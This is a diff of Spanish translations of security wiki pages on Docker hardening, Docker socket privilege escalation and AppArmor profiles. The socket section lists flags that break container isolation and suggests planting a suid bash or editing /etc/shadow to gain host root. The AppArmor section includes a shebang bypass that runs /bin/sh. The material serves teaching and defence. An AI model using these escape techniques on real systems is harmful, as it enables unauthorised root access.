- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. - **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** perfiles para restringir las acciones y syscalls disponibles para el contenedor al mínimo requerido.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. - **Utilice** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official_images/) **y requiera firmas** o construya las suyas propias basadas en ellas. No herede ni use imágenes [con puerta trasera](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También almacene claves raíz y frases de paso en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.** - **Reconstruya regularmente** sus imágenes para **aplicar parches de seguridad al host y a las imágenes.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them. - Gestione sus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
- If you **exposes the docker daemon use HTTPS** with client & server authentication. - Si **expone el demonio de Docker, use HTTPS** con autenticación de cliente y servidor.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesnt have these capabilities. Whenever possible, avoid using ADD so you arent susceptible to attacks through remote URLs and Zip files. - En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos de URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
- Have **separate containers for each micro-s**ervice - Tenga **contenedores separados para cada microservicio.**
- **Dont put ssh** inside container, “docker exec” can be used to ssh to Container. - **No ponga ssh** dentro del contenedor, “docker exec” se puede usar para ssh al contenedor.
- Have **smaller** container **images** - Tenga **imágenes de contenedor más pequeñas.**
## Docker Breakout / Privilege Escalation ## Docker Breakout / Escalación de Privilegios
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: Si está **dentro de un contenedor de Docker** o tiene acceso a un usuario en el **grupo de Docker**, podría intentar **escapar y escalar privilegios**:
{{#ref}} {{#ref}}
docker-breakout-privilege-escalation/ docker-breakout-privilege-escalation/
{{#endref}} {{#endref}}
## Docker Authentication Plugin Bypass ## Bypass del Plugin de Autenticación de Docker
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** Si tiene acceso al socket de Docker o tiene acceso a un usuario en el **grupo de Docker pero sus acciones están siendo limitadas por un plugin de autenticación de Docker**, verifique si puede **eludirlo:**
{{#ref}} {{#ref}}
authz-and-authn-docker-access-authorization-plugin.md authz-and-authn-docker-access-authorization-plugin.md
{{#endref}} {{#endref}}
## Hardening Docker ## Endurecimiento de Docker
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de mejores prácticas comunes en torno al despliegue de contenedores Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## References ## Referencias
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation # Abusando del Socket de Docker para la Escalación de Privilegios
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: Hay algunas ocasiones en las que solo tienes **acceso al socket de docker** y quieres usarlo para **escalar privilegios**. Algunas acciones pueden ser muy sospechosas y es posible que desees evitarlas, así que aquí puedes encontrar diferentes flags que pueden ser útiles para escalar privilegios:
### Via mount ### A través de mount
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ Puedes **montar** diferentes partes del **sistema de archivos** en un contenedor que se ejecuta como root y **acceder** a ellas.\
You could also **abuse a mount to escalate privileges** inside the container. También podrías **abusar de un mount para escalar privilegios** dentro del contenedor.
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - **`-v /:/host`** -> Monta el sistema de archivos del host en el contenedor para que puedas **leer el sistema de archivos del host.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - Si quieres **sentirte como si estuvieras en el host** pero estando en el contenedor, podrías deshabilitar otros mecanismos de defensa usando flags como:
- `--privileged` - `--privileged`
- `--cap-add=ALL` - `--cap-add=ALL`
- `--security-opt apparmor=unconfined` - `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined` - `--security-opt seccomp=unconfined`
- `-security-opt label:disable` - `-security-opt label:disable`
- `--pid=host` - `--pid=host`
- `--userns=host` - `--userns=host`
- `--uts=host` - `--uts=host`
- `--cgroupns=host` - `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Esto es similar al método anterior, pero aquí estamos **montando el disco del dispositivo**. Luego, dentro del contenedor ejecuta `mount /dev/sda1 /mnt` y puedes **acceder** al **sistema de archivos del host** en `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount - Ejecuta `fdisk -l` en el host para encontrar el dispositivo `</dev/sda1>` para montar
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. - **`-v /tmp:/host`** -> Si por alguna razón solo puedes **montar algún directorio** del host y tienes acceso dentro del host. Móntalo y crea un **`/bin/bash`** con **suid** en el directorio montado para que puedas **ejecutarlo desde el host y escalar a root**.
> [!NOTE] > [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` > Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta escribible diferente**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
> >
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. > **¡Ten en cuenta que no todos los directorios en una máquina linux soportarán el bit suid!** Para verificar qué directorios soportan el bit suid ejecuta `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no soportan el bit suid.
> >
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) > También ten en cuenta que si puedes **montar `/etc`** o cualquier otra carpeta **que contenga archivos de configuración**, puedes cambiarlos desde el contenedor de docker como root para **abusar de ellos en el host** y escalar privilegios (quizás modificando `/etc/shadow`)
### Escaping from the container ### Escapando del contenedor
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). - **`--privileged`** -> Con este flag [eliminamos toda la aislamiento del contenedor](docker-privileged.md#what-affects). Consulta técnicas para [escapar de contenedores privilegiados como root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. - **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Para [escalar abusando de capacidades](../linux-capabilities.md), **concede esa capacidad al contenedor** y deshabilita otros métodos de protección que puedan impedir que el exploit funcione.
### Curl ### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: En esta página hemos discutido formas de escalar privilegios usando flags de docker, puedes encontrar **formas de abusar de estos métodos usando el comando curl** en la página:
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,31 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular los atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera **cargando perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivos.
There are two operational modes for AppArmor profiles: Hay dos modos operativos para los perfiles de AppArmor:
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. - **Modo de Aplicación**: Este modo aplica activamente las políticas definidas dentro del perfil, bloqueando acciones que violan estas políticas y registrando cualquier intento de infringirlas a través de sistemas como syslog o auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. - **Modo de Queja**: A diferencia del modo de aplicación, el modo de queja no bloquea acciones que van en contra de las políticas del perfil. En su lugar, registra estos intentos como violaciones de políticas sin imponer restricciones.
### Components of AppArmor ### Componentes de AppArmor
- **Kernel Module**: Responsible for the enforcement of policies. - **Módulo del Kernel**: Responsable de la aplicación de políticas.
- **Policies**: Specify the rules and restrictions for program behavior and resource access. - **Políticas**: Especifican las reglas y restricciones para el comportamiento del programa y el acceso a recursos.
- **Parser**: Loads policies into the kernel for enforcement or reporting. - **Parser**: Carga políticas en el kernel para su aplicación o reporte.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. - **Utilidades**: Estos son programas en modo usuario que proporcionan una interfaz para interactuar y gestionar AppArmor.
### Profiles path ### Ruta de Perfiles
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ Los perfiles de AppArmor generalmente se guardan en _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. Con `sudo aa-status` podrás listar los binarios que están restringidos por algún perfil. Si puedes cambiar el carácter "/" por un punto en la ruta de cada binario listado, obtendrás el nombre del perfil de AppArmor dentro de la carpeta mencionada.
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ Por ejemplo, un **perfil de apparmor** para _/usr/bin/man_ se ubicará en _/etc/apparmor.d/usr.bin.man_
### Commands
### Comandos
```bash ```bash
aa-status #check the current status aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain) aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies aa-mergeprof #used to merge the policies
``` ```
## Creando un perfil
## Creating a profile - Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** para especificar archivos.
- Para indicar el acceso que tendrá el binario sobre **archivos**, se pueden utilizar los siguientes **controles de acceso**:
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. - **r** (leer)
- To indicate the access the binary will have over **files** the following **access controls** can be used: - **w** (escribir)
- **r** (read) - **m** (mapa de memoria como ejecutable)
- **w** (write) - **k** (bloqueo de archivos)
- **m** (memory map as executable) - **l** (creación de enlaces duros)
- **k** (file locking) - **ix** (para ejecutar otro programa con la nueva política heredada)
- **l** (creation hard links) - **Px** (ejecutar bajo otro perfil, después de limpiar el entorno)
- **ix** (to execute another program with the new program inheriting policy) - **Cx** (ejecutar bajo un perfil hijo, después de limpiar el entorno)
- **Px** (execute under another profile, after cleaning the environment) - **Ux** (ejecutar sin restricciones, después de limpiar el entorno)
- **Cx** (execute under a child profile, after cleaning the environment) - **Variables** pueden ser definidas en los perfiles y pueden ser manipuladas desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregar #include \<tunables/global> al archivo del perfil)
- **Ux** (execute unconfined, after cleaning the environment) - **Se admiten reglas de denegación para anular reglas de permiso**.
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
### aa-genprof ### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ Para comenzar a crear un perfil fácilmente, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego te deje decidir qué acciones deseas permitir o denegar**.\
You just need to run: Solo necesitas ejecutar:
```bash ```bash
sudo aa-genprof /path/to/binary sudo aa-genprof /path/to/binary
``` ```
Luego, en una consola diferente, realiza todas las acciones que el binario normalmente realizará:
Then, in a different console perform all the actions that the binary will usually perform:
```bash ```bash
/path/to/binary -a dosomething /path/to/binary -a dosomething
``` ```
Luego, en la primera consola presiona "**s**" y luego en las acciones grabadas indica si deseas ignorar, permitir o lo que sea. Cuando hayas terminado presiona "**f**" y el nuevo perfil se creará en _/etc/apparmor.d/path.to.binary_
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
> [!NOTE] > [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever > Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/o lo que sea
### aa-easyprof ### aa-easyprof
You can also create a template of an apparmor profile of a binary with: También puedes crear una plantilla de un perfil de apparmor de un binario con:
```bash ```bash
sudo aa-easyprof /path/to/binary sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor # vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified # No template variables specified
"/path/to/binary" { "/path/to/binary" {
#include <abstractions/base> #include <abstractions/base>
# No abstractions specified # No abstractions specified
# No policy groups specified # No policy groups specified
# No read paths specified # No read paths specified
# No write paths specified # No write paths specified
} }
``` ```
> [!NOTE] > [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. > Tenga en cuenta que, por defecto, en un perfil creado no se permite nada, por lo que todo está denegado. Necesitará agregar líneas como `/etc/passwd r,` para permitir que el binario lea `/etc/passwd`, por ejemplo.
You can then **enforce** the new profile with
Luego puede **imponer** el nuevo perfil con
```bash ```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
``` ```
### Modificando un perfil a partir de registros
### Modifying a profile from logs La siguiente herramienta leerá los registros y preguntará al usuario si desea permitir algunas de las acciones prohibidas detectadas:
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
```bash ```bash
sudo aa-logprof sudo aa-logprof
``` ```
> [!NOTE] > [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever > Usando las teclas de flecha puedes seleccionar lo que deseas permitir/negar/o lo que sea
### Managing a Profile
### Gestionando un Perfil
```bash ```bash
#Main profile management commands #Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
``` ```
## Logs ## Logs
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: Ejemplo de registros **AUDIT** y **DENIED** de _/var/log/audit/audit.log_ del ejecutable **`service_bin`**:
```bash ```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
``` ```
También puedes obtener esta información utilizando:
You can also get this information using:
```bash ```bash
sudo aa-notify -s 1 -v sudo aa-notify -s 1 -v
Profile: /bin/service_bin Profile: /bin/service_bin
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
``` ```
## Apparmor en Docker
## Apparmor in Docker Nota cómo el perfil **docker-profile** de docker se carga por defecto:
Note how the profile **docker-profile** of docker is loaded by default:
```bash ```bash
sudo aa-status sudo aa-status
apparmor module is loaded. apparmor module is loaded.
50 profiles are loaded. 50 profiles are loaded.
13 profiles are in enforce mode. 13 profiles are in enforce mode.
/sbin/dhclient /sbin/dhclient
/usr/bin/lxc-start /usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action /usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper /usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java /usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk /usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper /usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script /usr/lib/connman/scripts/dhclient-script
docker-default docker-default
``` ```
Por defecto, el **perfil docker-default de Apparmor** se genera a partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) **Resumen del perfil docker-default**:
**docker-default profile Summary**: - **Acceso** a toda la **red**
- **No se define ninguna capacidad** (Sin embargo, algunas capacidades provendrán de incluir reglas base básicas es decir, #include \<abstractions/base>)
- **Access** to all **networking** - **Escribir** en cualquier archivo de **/proc** **no está permitido**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> ) - Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso de lectura/escritura/bloqueo/enlace/ejecución **denegado**
- **Writing** to any **/proc** file is **not allowed** - **Montar** **no está permitido**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access - **Ptrace** solo se puede ejecutar en un proceso que está confinado por el **mismo perfil de apparmor**
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
Una vez que **ejecutes un contenedor docker**, deberías ver la siguiente salida:
```bash ```bash
1 processes are in enforce mode. 1 processes are in enforce mode.
docker-default (825) docker-default (825)
``` ```
Tenga en cuenta que **apparmor incluso bloqueará los privilegios de capacidades** otorgados al contenedor por defecto. Por ejemplo, podrá **bloquear el permiso para escribir dentro de /proc incluso si se otorga la capacidad SYS_ADMIN** porque, por defecto, el perfil de apparmor de docker niega este acceso:
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
```bash ```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied sh: 1: cannot create /proc/stat: Permission denied
``` ```
Necesitas **deshabilitar apparmor** para eludir sus restricciones:
You need to **disable apparmor** to bypass its restrictions:
```bash ```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
``` ```
Tenga en cuenta que por defecto **AppArmor** también **prohibirá que el contenedor monte** carpetas desde adentro, incluso con la capacidad SYS_ADMIN.
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. Tenga en cuenta que puede **agregar/eliminar** **capacidades** al contenedor de docker (esto seguirá estando restringido por métodos de protección como **AppArmor** y **Seccomp**):
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - `--cap-add=SYS_ADMIN` otorga la capacidad `SYS_ADMIN`
- `--cap-add=ALL` otorga todas las capacidades
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap - `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo otorga `SYS_PTRACE`
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
> [!NOTE] > [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. > Generalmente, cuando **encuentra** que tiene una **capacidad privilegiada** disponible **dentro** de un contenedor **docker** **pero** alguna parte de la **explotación no está funcionando**, esto será porque **apparmor de docker estará impidiendo** que funcione.
### Example ### Ejemplo
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) (Ejemplo de [**aquí**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
Para ilustrar la funcionalidad de AppArmor, creé un nuevo perfil de Docker “mydocker” con la siguiente línea añadida:
``` ```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
``` ```
Para activar el perfil, necesitamos hacer lo siguiente:
To activate the profile, we need to do the following:
``` ```
sudo apparmor_parser -r -W mydocker sudo apparmor_parser -r -W mydocker
``` ```
Para listar los perfiles, podemos ejecutar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor.
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
``` ```
$ sudo apparmor_status | grep mydocker $ sudo apparmor_status | grep mydocker
mydocker mydocker
``` ```
Como se muestra a continuación, obtenemos un error al intentar cambiar “/etc/” ya que el perfil de AppArmor está impidiendo el acceso de escritura a “/etc”.
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
``` ```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied chmod: /etc/hostname: Permission denied
``` ```
### AppArmor Docker Bypass1 ### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using: Puedes encontrar qué **perfil de apparmor está ejecutando un contenedor** usando:
```bash ```bash
docker inspect 9d622d73a614 | grep lowpriv docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv", "AppArmorProfile": "lowpriv",
"apparmor=lowpriv" "apparmor=lowpriv"
``` ```
Luego, puedes ejecutar la siguiente línea para **encontrar el perfil exacto que se está utilizando**:
Then, you can run the following line to **find the exact profile being used**:
```bash ```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
``` ```
En el extraño caso de que puedas **modificar el perfil de docker de apparmor y recargarlo.** Podrías eliminar las restricciones y "eludirlas".
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. ### Bypass de AppArmor Docker2
### AppArmor Docker Bypass2 **AppArmor se basa en rutas**, esto significa que incluso si podría estar **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se va a ejecutar el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y **ya no estará protegido por AppArmor**.
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. ### Bypass de Shebang de AppArmor
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
En [**este bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) puedes ver un ejemplo de cómo **incluso si estás impidiendo que perl se ejecute con ciertos recursos**, si simplemente creas un script de shell **especificando** en la primera línea **`#!/usr/bin/perl`** y **ejecutas el archivo directamente**, podrás ejecutar lo que quieras. Por ejemplo:
```perl ```perl
echo '#!/usr/bin/perl echo '#!/usr/bin/perl
use POSIX qw(strftime); use POSIX qw(strftime);
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl chmod +x /tmp/test.pl
/tmp/test.pl /tmp/test.pl
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
